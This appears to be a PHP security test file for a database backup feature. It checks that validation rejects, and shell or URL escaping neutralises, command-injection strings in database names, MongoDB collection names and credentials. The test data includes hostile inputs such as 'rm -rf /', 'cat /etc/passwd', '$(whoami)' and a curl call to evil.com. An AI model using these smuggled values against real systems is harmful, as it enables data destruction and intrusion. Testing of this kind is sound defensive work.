2025-11-27 13:36:31 +00:00
|
|
|
<?php
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* Database Backup Security Tests
|
|
|
|
|
*
|
|
|
|
|
* Tests to ensure database backup functionality is protected against
|
|
|
|
|
* command injection attacks via malicious database names.
|
|
|
|
|
*
|
|
|
|
|
* Related Issues: #2 in security_issues.md
|
|
|
|
|
* Related Files: app/Jobs/DatabaseBackupJob.php, app/Livewire/Project/Database/BackupEdit.php
|
|
|
|
|
*/
|
|
|
|
|
test('database backup rejects command injection in database name with command substitution', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('test$(whoami)', 'database name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('database backup rejects command injection with semicolon separator', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('test; rm -rf /', 'database name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('database backup rejects command injection with pipe operator', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('test | cat /etc/passwd', 'database name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('database backup rejects command injection with backticks', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('test`whoami`', 'database name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('database backup rejects command injection with ampersand', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('test & whoami', 'database name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('database backup rejects command injection with redirect operators', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('test > /tmp/pwned', 'database name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
|
|
|
|
|
expect(fn () => validateShellSafePath('test < /etc/passwd', 'database name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('database backup rejects command injection with newlines', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath("test\nrm -rf /", 'database name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('database backup escapes shell arguments properly', function () {
|
|
|
|
|
$database = "test'db";
|
|
|
|
|
$escaped = escapeshellarg($database);
|
|
|
|
|
|
|
|
|
|
expect($escaped)->toBe("'test'\\''db'");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('database backup escapes shell arguments with double quotes', function () {
|
|
|
|
|
$database = 'test"db';
|
|
|
|
|
$escaped = escapeshellarg($database);
|
|
|
|
|
|
|
|
|
|
expect($escaped)->toBe("'test\"db'");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('database backup escapes shell arguments with spaces', function () {
|
|
|
|
|
$database = 'test database';
|
|
|
|
|
$escaped = escapeshellarg($database);
|
|
|
|
|
|
|
|
|
|
expect($escaped)->toBe("'test database'");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('database backup accepts legitimate database names', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('postgres', 'database name'))
|
|
|
|
|
->not->toThrow(Exception::class);
|
|
|
|
|
|
|
|
|
|
expect(fn () => validateShellSafePath('my_database', 'database name'))
|
|
|
|
|
->not->toThrow(Exception::class);
|
|
|
|
|
|
|
|
|
|
expect(fn () => validateShellSafePath('db-prod', 'database name'))
|
|
|
|
|
->not->toThrow(Exception::class);
|
|
|
|
|
|
|
|
|
|
expect(fn () => validateShellSafePath('test123', 'database name'))
|
|
|
|
|
->not->toThrow(Exception::class);
|
|
|
|
|
});
|
2026-03-25 15:52:06 +00:00
|
|
|
|
|
|
|
|
// --- MongoDB collection name validation tests ---
|
|
|
|
|
|
|
|
|
|
test('mongodb collection name rejects command substitution injection', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('$(touch /tmp/pwned)', 'collection name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('mongodb collection name rejects backtick injection', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('`id > /tmp/pwned`', 'collection name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('mongodb collection name rejects semicolon injection', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('col1; rm -rf /', 'collection name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('mongodb collection name rejects ampersand injection', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('col1 & whoami', 'collection name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('mongodb collection name rejects redirect injection', function () {
|
|
|
|
|
expect(fn () => validateShellSafePath('col1 > /tmp/pwned', 'collection name'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('validateDatabasesBackupInput validates mongodb format with collection names', function () {
|
|
|
|
|
// Valid MongoDB formats should pass
|
|
|
|
|
expect(fn () => validateDatabasesBackupInput('mydb'))
|
|
|
|
|
->not->toThrow(Exception::class);
|
|
|
|
|
|
|
|
|
|
expect(fn () => validateDatabasesBackupInput('mydb:col1,col2'))
|
|
|
|
|
->not->toThrow(Exception::class);
|
|
|
|
|
|
|
|
|
|
expect(fn () => validateDatabasesBackupInput('db1:col1,col2|db2:col3'))
|
|
|
|
|
->not->toThrow(Exception::class);
|
|
|
|
|
|
|
|
|
|
expect(fn () => validateDatabasesBackupInput('all'))
|
|
|
|
|
->not->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('validateDatabasesBackupInput rejects injection in collection names', function () {
|
|
|
|
|
// Command substitution in collection name
|
|
|
|
|
expect(fn () => validateDatabasesBackupInput('mydb:$(touch /tmp/pwned)'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
|
|
|
|
|
// Backtick injection in collection name
|
|
|
|
|
expect(fn () => validateDatabasesBackupInput('mydb:`id`'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
|
|
|
|
|
// Semicolon in collection name
|
|
|
|
|
expect(fn () => validateDatabasesBackupInput('mydb:col1;rm -rf /'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('validateDatabasesBackupInput rejects injection in database name within mongo format', function () {
|
|
|
|
|
expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
|
|
|
|
|
->toThrow(Exception::class);
|
|
|
|
|
});
|
2026-03-25 22:43:57 +00:00
|
|
|
|
|
|
|
|
// --- Credential escaping tests for database backup commands ---
|
|
|
|
|
|
|
|
|
|
test('escapeshellarg neutralizes command injection in postgres password', function () {
|
|
|
|
|
$maliciousPassword = '"; rm -rf / #';
|
|
|
|
|
$escaped = escapeshellarg($maliciousPassword);
|
|
|
|
|
|
|
|
|
|
// The escaped value must be a single shell token that cannot break out
|
|
|
|
|
expect($escaped)->not->toContain("\n");
|
|
|
|
|
expect($escaped)->toBe("'\"; rm -rf / #'");
|
|
|
|
|
// When used in: -e PGPASSWORD=<escaped>, the shell sees one token
|
|
|
|
|
$command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
|
|
|
|
|
expect($command)->toContain("PGPASSWORD='");
|
|
|
|
|
expect($command)->not->toContain('PGPASSWORD=""');
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('escapeshellarg neutralizes command injection in postgres username', function () {
|
|
|
|
|
$maliciousUser = 'admin$(whoami)';
|
|
|
|
|
$escaped = escapeshellarg($maliciousUser);
|
|
|
|
|
|
|
|
|
|
expect($escaped)->toBe("'admin\$(whoami)'");
|
|
|
|
|
$command = "docker exec container pg_dump --username $escaped";
|
|
|
|
|
// The $() should be inside single quotes, preventing execution
|
|
|
|
|
expect($command)->toContain("--username 'admin\$(whoami)'");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('escapeshellarg neutralizes command injection in mysql password', function () {
|
|
|
|
|
$maliciousPassword = 'pass" && curl http://evil.com #';
|
|
|
|
|
$escaped = escapeshellarg($maliciousPassword);
|
|
|
|
|
|
|
|
|
|
$command = "docker exec container mysqldump -u root -p$escaped db";
|
|
|
|
|
// The password must be wrapped in single quotes
|
|
|
|
|
expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('escapeshellarg neutralizes command injection in mariadb password', function () {
|
|
|
|
|
$maliciousPassword = "pass'; whoami; echo '";
|
|
|
|
|
$escaped = escapeshellarg($maliciousPassword);
|
|
|
|
|
|
|
|
|
|
// Single quotes in the value get escaped as '\''
|
|
|
|
|
expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''");
|
|
|
|
|
$command = "docker exec container mariadb-dump -u root -p$escaped db";
|
|
|
|
|
// Verify the command doesn't contain an unescaped semicolon outside quotes
|
|
|
|
|
expect($command)->toContain("-p'pass'");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
|
|
|
|
|
$maliciousUser = 'admin";$(whoami)';
|
|
|
|
|
$maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
|
|
|
|
|
|
|
|
|
|
$encodedUser = rawurlencode($maliciousUser);
|
|
|
|
|
$encodedPass = rawurlencode($maliciousPass);
|
|
|
|
|
$url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
|
|
|
|
|
|
|
|
|
|
// Special characters should be percent-encoded
|
|
|
|
|
expect($encodedUser)->not->toContain('"');
|
|
|
|
|
expect($encodedUser)->not->toContain('$');
|
|
|
|
|
expect($encodedUser)->not->toContain('(');
|
|
|
|
|
expect($encodedPass)->not->toContain('@');
|
|
|
|
|
expect($encodedPass)->not->toContain('/');
|
|
|
|
|
expect($encodedPass)->not->toContain('?');
|
|
|
|
|
expect($encodedPass)->not->toContain('&');
|
|
|
|
|
|
|
|
|
|
// The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
|
|
|
|
|
$atCount = substr_count($url, '@');
|
|
|
|
|
expect($atCount)->toBe(1);
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
test('escapeshellarg on mongodb URI prevents shell breakout', function () {
|
|
|
|
|
// Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
|
|
|
|
|
$maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
|
|
|
|
|
$escaped = escapeshellarg($maliciousUrl);
|
|
|
|
|
|
|
|
|
|
$command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
|
|
|
|
|
// The entire URI must be inside single quotes
|
|
|
|
|
expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
|
|
|
|
|
expect($command)->toContain("evil.com #'");
|
|
|
|
|
// No unescaped double quotes that could break the command
|
|
|
|
|
expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
|
|
|
|
|
});
|